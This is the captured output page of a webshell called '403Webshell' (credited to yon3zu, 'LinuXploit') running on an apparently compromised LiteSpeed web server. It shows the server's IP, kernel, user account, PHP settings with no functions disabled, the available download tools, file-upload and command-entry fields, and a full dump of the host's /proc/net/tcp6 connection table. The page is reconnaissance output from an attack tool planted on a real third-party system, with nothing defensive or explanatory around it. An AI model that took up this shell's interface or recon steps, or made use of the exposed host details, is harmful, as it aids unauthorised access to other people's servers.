403Webshell
Server IP : 162.19.112.25  /  Your IP : 216.73.217.36
Web Server : LiteSpeed
System : Linux qamar.tasjeel.ae 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : archiart ( 1428)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/thread-self/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/thread-self/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:1355 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 504845653 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:105E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1900133832 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:199C 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   971        0 1901226939 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000001000000:1538 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    26        0 3082595723 1 0000000000000000 100 0 0 10 0
   4: 00000000000000000000000000000000:024B 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 701809207 1 0000000000000000 100 0 0 10 50
   5: 00000000000000000000000000000000:03E1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1900133823 1 0000000000000000 100 0 0 10 0
   6: 00000000000000000000000000000000:03E3 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1900133837 1 0000000000000000 100 0 0 10 0
   7: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1300855199 1 0000000000000000 100 0 0 10 9
   8: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 276904400 1 0000000000000000 100 0 0 10 0
   9: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 701809203 1 0000000000000000 100 0 0 10 50
  10: 00000000000000000000000000000000:006E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1900133835 1 0000000000000000 100 0 0 10 0
  11: 00000000000000000000000000000000:006F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 21185 1 0000000000000000 100 0 0 10 0
  12: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3282076864 1 0000000000000000 100 0 0 10 256
  13: 00000000000000000000000000000000:008F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1900133821 1 0000000000000000 100 0 0 10 0
  14: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3282076866 1 0000000000000000 100 0 0 10 256
  15: 00000000000000000000000000000000:01D1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 701809205 1 0000000000000000 100 0 0 10 50
  16: 00000000000000000000000001000000:030F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 957763051 1 0000000000000000 100 0 0 10 0
  17: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   982        0 504898671 1 0000000000000000 100 0 0 10 0
  18: D041012000190E030000000000000000:90BA 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000000 00000000     0        0 0 3 0000000000000000
  19: D041012000190E030000000000000000:E89E 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000EA3 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF0000197013A2:199C 0000000000000000FFFF0000736DEEAC:C838 06 00000000:00000000 03:00000A8B 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000197013A2:199C 0000000000000000FFFF0000736DEEAC:A900 01 00000000:00000000 00:00000000 00000000   971        0 1149169227 1 0000000000000000 21 4 29 10 -1
  22: 00000000000000000000000001000000:E848 00000000000000000000000001000000:008F 06 00000000:00000000 03:00000225 00000000     0        0 0 3 0000000000000000
  23: D041012000190E030000000000000000:D0B8 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000230 00000000     0        0 0 3 0000000000000000
  24: D041012000190E030000000000000000:D846 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000B58 00000000     0        0 0 3 0000000000000000
  25: 00000000000000000000000001000000:008F 00000000000000000000000001000000:E848 06 00000000:00000000 03:00000225 00000000     0        0 0 3 0000000000000000
  26: D041012000190E030000000000000000:D0C6 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000385 00000000     0        0 0 3 0000000000000000
  27: D041012000190E030000000000000000:E8AA 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000FFB 00000000     0        0 0 3 0000000000000000
  28: 00000000000000000000000001000000:008F 00000000000000000000000001000000:BC92 06 00000000:00000000 03:00000C8C 00000000     0        0 0 3 0000000000000000
  29: 0000000000000000FFFF0000197013A2:199C 0000000000000000FFFF0000736DEEAC:99EA 06 00000000:00000000 03:00000626 00000000     0        0 0 3 0000000000000000
  30: 00000000000000000000000001000000:AB76 00000000000000000000000001000000:008F 06 00000000:00000000 03:000015DB 00000000     0        0 0 3 0000000000000000
  31: D041012000190E030000000000000000:E290 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:000010E7 00000000     0        0 0 3 0000000000000000
  32: D041012000190E030000000000000000:E292 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:000013B6 00000000     0        0 0 3 0000000000000000
  33: D041012000190E030000000000000000:E8AC 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00001005 00000000     0        0 0 3 0000000000000000
  34: 00000000000000000000000001000000:008F 00000000000000000000000001000000:AB6C 06 00000000:00000000 03:000014E2 00000000     0        0 0 3 0000000000000000
  35: 00000000000000000000000001000000:E3BA 00000000000000000000000001000000:008F 06 00000000:00000000 03:00000F9F 00000000     0        0 0 3 0000000000000000
  36: D041012000190E030000000000000000:D854 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000C01 00000000     0        0 0 3 0000000000000000
  37: D041012000190E030000000000000000:D0D6 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000403 00000000     0        0 0 3 0000000000000000
  38: D041012000190E030000000000000000:E89C 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000D44 00000000     0        0 0 3 0000000000000000
  39: 00000000000000000000000001000000:DDC0 00000000000000000000000001000000:008F 06 00000000:00000000 03:000006DC 00000000     0        0 0 3 0000000000000000
  40: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BEDC 01 00000000:00000000 02:000845D4 00000000   982        0 1082397315 2 0000000000000000 20 4 31 10 -1
  41: 00000000000000000000000001000000:008F 00000000000000000000000001000000:E3C4 06 00000000:00000000 03:00000F9F 00000000     0        0 0 3 0000000000000000
  42: 00000000000000000000000001000000:BEDC 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:000845D4 00000000  1503        0 1082299681 2 0000000000000000 20 4 2 10 -1
  43: 00000000000000000000000001000000:DDB0 00000000000000000000000001000000:008F 06 00000000:00000000 03:000004F6 00000000     0        0 0 3 0000000000000000
  44: 00000000000000000000000001000000:008F 00000000000000000000000001000000:DDC0 06 00000000:00000000 03:000006DC 00000000     0        0 0 3 0000000000000000
  45: 00000000000000000000000001000000:008F 00000000000000000000000001000000:E3BA 06 00000000:00000000 03:00000F9F 00000000     0        0 0 3 0000000000000000
  46: D041012000190E030000000000000000:D860 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000C33 00000000     0        0 0 3 0000000000000000
  47: D041012000190E030000000000000000:D0E4 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:000003FF 00000000     0        0 0 3 0000000000000000
  48: D041012000190E030000000000000000:E296 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:000013C1 00000000     0        0 0 3 0000000000000000
  49: 00000000000000000000000001000000:E3C4 00000000000000000000000001000000:008F 06 00000000:00000000 03:00000F9F 00000000     0        0 0 3 0000000000000000
  50: D041012000190E030000000000000000:E88E 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000D28 00000000     0        0 0 3 0000000000000000
  51: D041012000190E030000000000000000:D82C 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:0000094E 00000000     0        0 0 3 0000000000000000
  52: D041012000190E030000000000000000:D83C 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:0000096E 00000000     0        0 0 3 0000000000000000
  53: 00000000000000000000000001000000:008F 00000000000000000000000001000000:AB76 06 00000000:00000000 03:000015DB 00000000     0        0 0 3 0000000000000000
  54: D041012000190E030000000000000000:E29A 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00001403 00000000     0        0 0 3 0000000000000000
  55: D041012000190E030000000000000000:D81E 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000925 00000000     0        0 0 3 0000000000000000
  56: D041012000190E030000000000000000:D0C0 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000251 00000000     0        0 0 3 0000000000000000
  57: D041012000190E030000000000000000:E8B8 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:000010A1 00000000     0        0 0 3 0000000000000000
  58: D041012000190E030000000000000000:87C0 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000822 00000000     0        0 0 3 0000000000000000
  59: 00000000000000000000000001000000:BC92 00000000000000000000000001000000:008F 06 00000000:00000000 03:00000C8C 00000000     0        0 0 3 0000000000000000
  60: D041012000190E030000000000000000:87B2 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000828 00000000     0        0 0 3 0000000000000000
  61: 00000000000000000000000001000000:AB6C 00000000000000000000000001000000:008F 06 00000000:00000000 03:000014E2 00000000     0        0 0 3 0000000000000000
  62: 00000000000000000000000001000000:C45A 00000000000000000000000001000000:008F 06 00000000:00000000 03:00001102 00000000     0        0 0 3 0000000000000000
  63: D041012000190E030000000000000000:D864 004706260000343000000000D18843AC:0050 06 00000000:00000000 03:00000CB5 00000000     0        0 0 3 0000000000000000

Youez - 2016 - github.com/yon3zu
LinuXploit